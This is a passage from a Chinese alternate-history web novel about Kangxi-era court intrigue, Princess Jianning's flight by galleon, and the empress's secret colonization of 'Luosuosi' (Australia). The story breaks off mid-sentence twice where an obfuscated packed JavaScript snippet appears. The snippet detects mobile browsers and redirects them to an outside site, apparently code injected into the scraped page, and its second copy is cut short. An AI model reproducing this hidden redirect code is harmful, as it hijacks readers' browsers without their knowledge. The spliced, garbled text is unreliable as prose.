佟国纲闻言,想起家中这两个,他们回来后胆子都大了,性子却也没怎么变,还是一个莽撞,一个怯懦,要不是又被自己带来军中,保不齐仗着那点军功,就直接纨绔到哪里去了。是经历过战事,可他们还不如眼前这两个孩子看得清大局呢! 他无奈地笑了,“鄂伦岱和叶克书,在草原上打惯了硬仗,可东南的战事,跟草原不一样——草原上是真刀真枪的拼杀,东南这边,藏着太多弯弯绕,他们看不懂,也应付不来,更没有什么道理能讲给你们俩。”下一代中,应该还是赫舍里家要拔头筹了。 他看着常泰沉稳的侧脸,又看了看常海机灵的模样,心里暗暗感叹:葛布喇真是好福气,养出这么两个好孩子。一个明智清醒,看问题一针见血;一个机灵率性,能言善道,还能让人不自觉亲近。 江风又起,吹得船帆猎猎作响。 海上风更大,南海的风裹挟着咸湿的气息,狠狠拍在巨型盖伦船的甲板上。 建宁公主抱着两个孩子,站在船舷边,最后望了一眼云南的方向——那片土地,已在战火中模糊。 身后的小儿子攥着她的衣角,怯生生地问:“额娘,我们要去哪里呀?” 建宁低头,轻轻摸了摸他的头,声音温柔却坚定:“去一个没有战争的地方,让你们好好长大。” 说着,便抱着两个孩子转身进了船舱——舱内早已挤满了吴三桂的旧部,男女老幼都带着对未来的茫然,却也藏着一丝逃离战火的庆幸。 不远处的另一艘海船上,寿春凭栏而立,看着建宁的船队渐渐驶离岸边。 富春站在她身边,语气带着几分犹豫:“姐姐,咱们不去跟建宁公主打个招呼吗?毕竟她能带着人出来,也算是咱们帮了忙。” 寿春轻轻摇头,目光落在海面上漂浮的十艘巨型盖伦船上,眼底闪过一丝复杂:“不必了,咱们与她,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365248|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归不是一路人。她是为了保住自己的血脉,咱们是为了完成大姐儿的计划,目的不同,少些牵扯更好。” “可真没想到,”富春咂了咂嘴,语气里满是感慨,“建宁公主竟能说动吴三桂的夫人死守昆明,为她争取时间带着孩子和旧部跑出来。大清公主,居然会跟反贼的家眷站在一起?” “政治上本就没有永远的敌人。”寿春淡淡道,“吴三桂的夫人知道,死守昆明能为儿子争取一线生机;建宁公主知道,带着吴三桂的小儿子离开,才能彻底收拢吴家旧部之心,保住自己和孩子——她们不过是在为自己的生路盘算,没什么好奇怪的。” 富春忽然想起什么,语气多了几分担忧:“姐姐,咱们还按原计划送她们去大岛吗?之前说好的是送建宁母子和少数亲信,可现在她带了这么多吴三桂的班底,男女老幼加起来快有两千人了,这跟咱们当初的计划不一样啊。” 寿春闻言,忽然笑了,指尖轻轻划过船舷的木纹,“去,怎么不去?这么多人,若是留在云南,等朝廷平定了战乱,最终不过是断头台上的一抹血。倒不如送他们去大岛——那里有土人,有未开发的土地,正好让他们去争、去闯。” 她抬头望向遥远的南方,目光深邃:“你忘了?大姐儿早说过,那大岛罗娑斯,明朝人就去过,现在洋人也盯着,与其便宜了外人,不如把咱们这边的‘失败者’送过去。三藩的旧部、反清复明的余党、甚至是那些不安分的士绅,只要在中原待不下去,都送去那里。罗娑斯,必须是咱们的,永远是。” “让他们在岛上开垦土地、建立村落。”寿春顿了顿,语气里多了几分深意,“这些人带着仇恨和求生欲,在岛上只会拼尽全力活下去,比朝廷派去守卫的兵卒管用——移民才是大姐儿真正的用意。” 富春恍然大悟,看着远处渐渐变小的船队,建宁这封号是极好的寓意啊。 海风再次呼啸而过,吹得船帆猎猎作响。 十艘盖伦船载着两万多人的希望与挣扎,朝着南边的大岛驶去。 “今圣朝康熙年间,四海初定,然隐忧渐生。 关内平畴沃野,耕垦日久,渐至饱和,而丁口日滋,已逾亿数,人地相逼之形初现。 民无立锥之地,则流移之患生,昔年“湖广填四川”之余,流民仍有无地可耕者,若任其蔓延,恐酿社会之扰。 罗娑斯大岛者,在南海之远裔,广袤无垠,其东南墨累-达令之域,土脉肥沃,气候温宜,小麦、玉米之属皆可植。若引我朝农法——如水利之治、农具之巧,垦荒辟田,必能成海外仓廪。 他日关内或有荒歉,此岛之粟可补国用,为社稷粮食之安设一备份,庶几无饥馑之虞。 又闻其地藏矿之富,虽今未大兴勘探,然金、铁、煤之属,潜量甚巨。我朝发展,铸钱需铜,军工需铁,农具需材,金属之求日殷。若先据其地,徐图开发,则可减国内矿产之耗,免竭泽而渔之弊。且矿利既兴,可佐军工之升级、手工业之精进,于国之富强大有裨益。 再者,罗娑斯可作海外徙民之所,迁关内无地之农、失业之工往彼,一则解国内人满之患,息社会之纷;二则以徙民实其地,固我朝之控,使远岛不为外夷所窥。 皇后娘娘深谋远虑,不惜用赫舍里氏历年所积之资,遣人往罗娑斯,此举虽未告上,实乃为国计深远。 且海事衙门诸臣,对娘娘之忠逾七成,故舟楫往来于海军目下,亦无纰漏。 盖娘娘知罗娑斯之利,关乎国脉,故不避嫌疑,力行此事,其心可昭日月,其功当垂后世。” 索额图放下笔,吹了吹信纸,将密文写就的亲笔信装入匣子,自有高来高去的高人送出府外,往南边去了。 103. 布局海外 自从圣上口出大禹之言,河道衙门的靳大人就再也没敢回过京,一心扑在黄河上,已数年不曾归家。 天下流民三成在东南,三成在黄河两岸,娘娘的大业,少不了河道二把手杨期先生帮忙。自家那个兄弟虽然也在河道衙门,却沉迷混凝土与星象,成天在工地上呆着,根本用不上。 这位老夫子,油盐不进,前一阵子因为法保在山东建皇庄的事儿,还闹得很不愉快。 这不与他分说清楚,他断然不会组织河南、山东的无地百姓出海的。 索额图对贫民百姓吃不吃得上粮不甚关心,脑子里都是娘娘交代的任务,做起事来不问对错、不分是非、不要脸皮。 可杨期初心不改,他即便已经改了些行事准则,却绝非愚忠之人。 系统面板上索额图的忠诚值高达85,而杨期的只有60。 为了让这个耿直的“自己人”配合,索额图已经连着给他写了三封信。 杨期,乃赫舍里门下出身,怎么不算“自己人”呢。 近日,索额图总念着皇后遣人往罗娑斯大岛之事,海事衙门走私之余,没少给巨型盖伦船护航。 越想越觉娘娘深谋远虑——那罗娑斯地处两洋交汇,东接南洋诸岛,印尼香料、菲律宾白银皆在近旁;西通印度洋,可连印度、中东商路;南又触及红毛夷(荷兰、英国)探得的南半球航线,这般地利,竟是天赐的贸易枢纽! 作为海事衙门的尚书,索额图能做商部一半的主,总要通经济之道的。若是做了赔本的买卖,都对不起他在内务府筹备铺开蜂窝煤铺的经历。 丝绸、茶叶、瓷器本是外夷追捧之物,从前经南洋至西洋,多要经荷兰、英国之手,被他们赚去大半利差,如今若以罗娑斯为中转,直航南半球与西洋,岂不是能破了这垄断? 关税、官营贸易之利,怕是能为娘娘再添一大笔进项,比东洋那点生意可观多了。 再者,以娘娘的脾气,将来这大岛定是会放到明面上。介时,要守罗娑斯、通贸易,必得有远洋大船,有熟稔航线的水手。 这便要逼着朝廷造船改弦更张,将产能不断往远洋巨舰上转,导航之术也得精进——若能借此扭转“重陆轻海”的旧弊,海军得以壮大,将来收回台湾、经略南洋、成立海部、入阁为相,也不过尔尔。 念及此,他又想起那自己能当半个家的商部事。自商部立,索额图与明珠相交日深,他行事多听劝,两人也算莫逆。 东洋生意规模有限,即便是军火生意也逐渐饱和,东南战事眼见要靖,下一步便是收台湾。商部的手,也该往南洋伸了。没道理前明能做的万国来朝、威震四海,现在做不成啊。 南洋贸易的前朝旧档、红毛夷的通商数据,商部里内务府出身的老臣早一个月便已经递到明珠案头。 那些数据里,香料、白银的利差,南洋航线的要害,都标得明明白白。他素来精明,有这些时日缓冲,必已嗅出机遇。 待明珠按捺不住,届时再与他会晤,商部与海事衙门合力,往南洋布局,便水到渠成了。 皇后娘娘不惜动赫舍里家底,连那等死有余辜的罪民也废物利用般送往罗娑斯,原是为长远计。 我这做臣子的,也该顺着娘娘的路子,把商部的事办妥,让罗娑斯不单是流民安身之所,更成通洋富国的关键之地,如此才是长治久安之途。 商部的“快车道”,逼着明珠不得不抓住任何能敛财的机会,而南洋的生意,正是眼下可预见的最肥的一块肉。 明珠踏进索额图府中时,手里还攥着份皱巴巴的南洋贸易册页,额角沾着细汗,连茶都顾不上喝,坐下就开门见山,“索兄,南洋之利,我反复算了三十遍——就那香料的利差,若能绕开红毛夷直采,一年至少多赚五百万两!还有菲律宾的白银,只要复刻东瀛之事,利润能翻五倍!” 难怪宗室那帮烂人对南下那么感兴趣呢,这是多少暴利啊。现下东南打烂了,定然有不少南洋的商人失去了货源和上线,实在是个好机会。 看着明珠眼底的热切,索额图倒笑了,心里暗暗点头——果然不出他所料,明珠没熬过一个月就来了。 他慢悠悠给两人斟上茶,“明兄看得通透,不过,这南洋的生意,宗室那边是皇上亲自许出去的,他们也盯着呢——杰书、岳乐等人在东南耗了这么久,没少借着地利跟南洋商人勾连,你商部要插足,可得想清楚怎么应对。” “宗室能做,凭什么商部不能?再者,索兄的海事衙门才是过江龙,有什么路子能瞒得过你?”明珠把册页往桌上一拍,语气带着几分急切,又藏着几分无奈,“自从管了商部,我就没睡过安稳觉——每年三千万两的收益,皇上还说‘连座园子都修不起,没法带皇后避暑’。咱这商部,说白了就是皇上的‘搂钱耙子’,哪能放过这般机遇?” 索额图眉眼一挑,修园子?皇帝又说修园子了? 明珠顿了顿,又凑近了些,声音压低:“我听说几位王爷动作不小,闹得东南无人,粤商便是能跑去海外,也定是损失惨重,让出不少份额,这时候进场,利可就大了去了!” 索额图端着茶杯,宗室多半利欲熏心且见识短浅,朝中也就一个裕亲王还能把持的住,充分信任晋商王通礼行事,其余人等已经仗着几方实力雄厚,从贸易快做成明抢了。 大家都不是受虐狂,尤其是在大清之外,这种颐指气使的合作伙伴是个人就不想要,南洋人做了几百年生意了,不是傻不拉几的纯土人。 他指尖轻轻摩挲着杯沿,另一只手指了指上头,“近来政事多出养心殿,若是能让娘娘点个头,商部与海事衙门合力便名正言顺。明兄也知,皇上不许我们插手贸易。” “养心殿,我自然会去。娘娘重视商事、海事,先请索兄美言几句。”明珠连忙接话,语气松了些。 自从惠嫔有孕,皇上竟然又搬回了养心殿,诸臣不敢踏足后宫,难免生出许多不便。 如此,皇帝便将养心殿前殿辟成了书房,令臣工不必顾忌。 这般,皇后娘娘也成了绕不开的一环,内务府女官正式插手内阁大学士的领地,虽说涉足不多,已是招致朝野非议。 在皇帝强求之下,谁人胆敢言语。 且不说皇帝威严日重,早年便听不进的劝谏,如今功绩卓著、自诩圣君,更是容不得人说些不中听的话了。 再者,赫舍里皇后可不是没有家世的花瓶,那一位背后的家族,已经将庞大的罗网笼罩在朝堂之上。 权柄,就这么从乾清宫逐渐过度到了养心殿。 “我这次来,是想跟你商量——咱们先从商部拨一笔银子,让海事衙门就近派船去摸航线。”明珠说起商部的银子,自己就拍板了,他是有这个权利的,不用上报。 “那圣人的意思?”索额图故意说起,有人给银子他当然要赚,但姿态也得摆出来。 “引裕亲王在皇上面前提一提南洋的好处,便是了。只要让皇上先点个头,宗室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想那赫舍里家的老六法保,借着黄河泛滥之机,公然强买强卖两岸淤积出来的肥沃土地。就像个嗡嗡飞的苍蝇一样,河道衙门走到哪里,他就买到哪里。用荒地价收良田,简直是抢。各县的父老,没有一个不憎恨他的。 其人无所不用其极,与单纯的心裕根本不像是一个宅子里出来的人。 他竟然以栽赃陷害的方式将本地大户下狱,将人家几辈子积攒的各处庄园收归内务府,闹得怨声载道。这小子年纪不大,干了杨期都不敢做的绝户事儿,着实是猖狂的没边了。 但是不可否认,有这么一个恶人追着,河道衙门的很多事都好办,翻云会很长时间都不需要如江苏一般直接开杀戒了。 他竟然还以高薪为诱惑,掳掠流民为佃户,真不知是安得什么心。工作四个时辰便可以休息,多工作一炷香便可以多领取一炷香的工钱,这样的好事怎么会落在他们身上?定然是小子不安好心,不知哄骗这许多百姓进了那庄园去作甚! 杨期重重锤了捶桌子,法保如此,索额图也好不到哪里去。 只有昭然先生之语,方能解老夫心头疑惑。他抓起新来的信件,恭恭敬敬的站着读完最新的文辞。生产资料、土地,所谓兼并之因果皆清晰明了。 先生定要起身,先向左转三圈,再向右转三圈,靳大人在心里默默念叨,果然便听到了椅子被推开的刺啦声,而后是缓慢却坚定的脚步声,他慢声数着一二三,这是一圈,然后一二三,又是一圈。 河道衙门里,这么无聊的就只有总督靳大人。 先生有他的主义,心裕有他的科学,只有倒霉的我在这里发呆。靳大人黑乎乎的手揉了揉黑乎乎的干巴脸,不能这么颓废了,得出去转转,三天不搅拌混凝土,有点手生。 真想回京看看,但是他不敢。 黄河未靖,他不敢回。 黄河平,他就更不敢回了。 所以,还是在河道衙门待着吧。